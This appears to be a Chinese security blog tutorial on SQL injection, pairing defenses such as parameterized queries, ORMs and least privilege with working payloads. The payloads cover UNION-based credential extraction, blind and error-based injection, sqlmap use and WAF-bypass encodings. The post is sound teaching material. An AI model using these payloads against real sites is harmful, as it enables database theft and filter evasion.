765 字
2 分钟
SQL注入攻防实战:从原理到防御
SQL注入攻防实战:从原理到防御
一、什么是SQL注入
SQL注入(SQL Injection)是一种代码注入技术,攻击者通过在应用程序的输入中插入恶意SQL语句,从而欺骗服务器执行恶意的SQL代码。
1.1 攻击原理
用户输入 --> 应用程序 --> SQL查询 --> 数据库 | └── 恶意SQL片段 --> 拼接到查询中 --> 执行恶意操作1.2 攻击危害
- 数据泄露:读取数据库中的敏感数据
- 数据篡改:修改或删除数据库数据
- 权限提升:获取管理员权限
- 远程命令执行:在某些情况下可执行系统命令
二、SQL注入类型
2.1 按注入点分类
| 类型 | 说明 | 示例 |
|---|---|---|
| 数字型 | 参数为数字 | id=1 → id=1 OR 1=1 |
| 字符型 | 参数为字符串 | name='admin' → name='admin' OR '1'='1' |
| 搜索型 | 模糊查询 | keyword=test → keyword=test%' OR 1=1-- |
2.2 按获取方式分类
| 类型 | 说明 | 特点 |
|---|---|---|
| 联合注入 | 使用 UNION SELECT | 直接获取数据 |
| 布尔盲注 | 通过页面返回判断 | 逐位获取数据 |
| 时间盲注 | 通过延时判断 | 适用于无回显 |
| 报错注入 | 利用错误信息 | 通过报错获取数据 |
| 堆叠注入 | 执行多条语句 | 可执行任意SQL |
三、攻击手法详解
3.1 联合注入
前提条件:页面有数据回显
步骤:
-- 1. 判断字段数?id=1 ORDER BY 1-- -?id=1 ORDER BY 2-- -?id=1 ORDER BY 3-- - # 报错说明字段数为2
-- 2. 判断回显位置?id=-1 UNION SELECT 1,2-- -
-- 3. 获取数据库信息?id=-1 UNION SELECT 1,database()-- -?id=-1 UNION SELECT 1,version()-- -
-- 4. 获取所有数据库名?id=-1 UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata-- -
-- 5. 获取表名?id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='target_db'-- -
-- 6. 获取列名?id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -
-- 7. 获取数据?id=-1 UNION SELECT 1,group_concat(username,0x3a,password) FROM users-- -3.2 布尔盲注
适用场景:页面只有真/假两种状态
-- 判断数据库名长度?id=1 AND LENGTH(database())=8-- -
-- 逐位获取数据库名?id=1 AND ASCII(SUBSTR(database(),1,1))>100-- -?id=1 AND ASCII(SUBSTR(database(),1,1))=116-- - # 't'
-- 使用二分法提高效率?id=1 AND ASCII(SUBSTR(database(),1,1))>96-- - # 真?id=1 AND ASCII(SUBSTR(database(),1,1))>112-- - # 假?id=1 AND ASCII(SUBSTR(database(),1,1))>104-- - # 假?id=1 AND ASCII(SUBSTR(database(),1,1))>100-- - # 真?id=1 AND ASCII(SUBSTR(database(),1,1))=101-- - # 'e'3.3 时间盲注
适用场景:无任何回显
-- 判断数据库名长度?id=1 AND IF(LENGTH(database())=8,SLEEP(5),0)-- -
-- 逐位获取数据库名?id=1 AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),0)-- -
-- 使用SQLMapsqlmap -u "http://target.com/?id=1" --technique=T --time-sec=53.4 报错注入
利用函数:extractvalue()、updatexml()、floor()
-- extractvalue()?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -
-- updatexml()?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -
-- floor()?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT database()),0x7e,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -四、WAF绕过技术
4.1 大小写绕过
?id=1 UNION SELECT 1,2-- -?id=1 uNiOn SeLeCt 1,2-- -4.2 双写绕过
?id=1 UNIUNIONON SELSELECTECT 1,2-- -4.3 编码绕过
-- URL编码?id=1 %55%4E%49%4F%4E %53%45%4C%45%43%54 1,2-- -
-- Hex编码?id=1 UNION SELECT 0x31,0x32-- -
-- Base64编码?id=1 UNION SELECT FROM_BASE64('MQ=='),FROM_BASE64('Mg==')-- -4.4 注释绕过
?id=1 /*!UNION*/ /*!SELECT*/ 1,2-- -?id=1 /**/UNION/**/SELECT/**/1,2-- -4.5 空格绕过
-- 使用括号?id=1 UNION(SELECT(1),(2))-- -
-- 使用注释?id=1/**/UNION/**/SELECT/**/1,2-- -
-- 使用其他空白符?id=1%0aUNION%0aSELECT%0a1,2-- -五、防御方案
5.1 参数化查询(推荐)
PHP PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");$stmt->execute(['id' => $id]);$user = $stmt->fetch();Python:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))Java PreparedStatement:
String sql = "SELECT * FROM users WHERE id = ?";PreparedStatement pstmt = conn.prepareStatement(sql);pstmt.setInt(1, userId);ResultSet rs = pstmt.executeQuery();5.2 输入验证
def validate_input(value): # 只允许数字 if not value.isdigit(): raise ValueError("Invalid input") return int(value)5.3 使用ORM
# Django ORMUser.objects.filter(id=user_id)
# SQLAlchemysession.query(User).filter(User.id == user_id)5.4 最小权限原则
-- 为Web应用创建专用数据库用户CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';GRANT SELECT, INSERT, UPDATE ON target_db.* TO 'webapp'@'localhost';-- 不要授予 DROP, DELETE, ALTER 等危险权限5.5 WAF防护
配置WAF规则拦截常见SQL注入特征:
UNION SELECTOR 1=1DROP TABLEINFORMATION_SCHEMA
六、实战案例
6.1 案例:参数加密SQL注入
场景:目标网站对参数进行了加密处理
攻击步骤:
- 分析加密算法(AES/MD5)
- 获取加密密钥
- 构造恶意payload
- 加密后发送请求
防御建议:
- 加密不能替代参数化查询
- 使用HTTPS传输
- 服务端二次验证
七、工具推荐
| 工具 | 用途 | 特点 |
|---|---|---|
| SQLMap | 自动化注入 | 功能强大 |
| Burp Suite | 手动测试 | 灵活可控 |
| Havij | 自动化注入 | 界面友好 |
| NoSQLMap | NoSQL注入 | 专门针对NoSQL |
八、总结
8.1 防御要点
- 参数化查询:最有效的防御手段
- 输入验证:白名单优于黑名单
- 最小权限:限制数据库用户权限
- 错误处理:不要暴露数据库错误信息
- WAF防护:增加一层防护
8.2 学习建议
- 搭建本地靶场练习(如 SQLi-labs)
- 阅读OWASP Top 10文档
- 参加CTF比赛积累经验
- 关注最新的绕过技术
参考资料:
声明:本文仅用于安全学习和研究,请勿用于非法用途。
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
SQL注入攻防实战:从原理到防御
https://lansame.top/posts/sqli-attack-defense/ 部分信息可能已经过时
相关文章 智能推荐






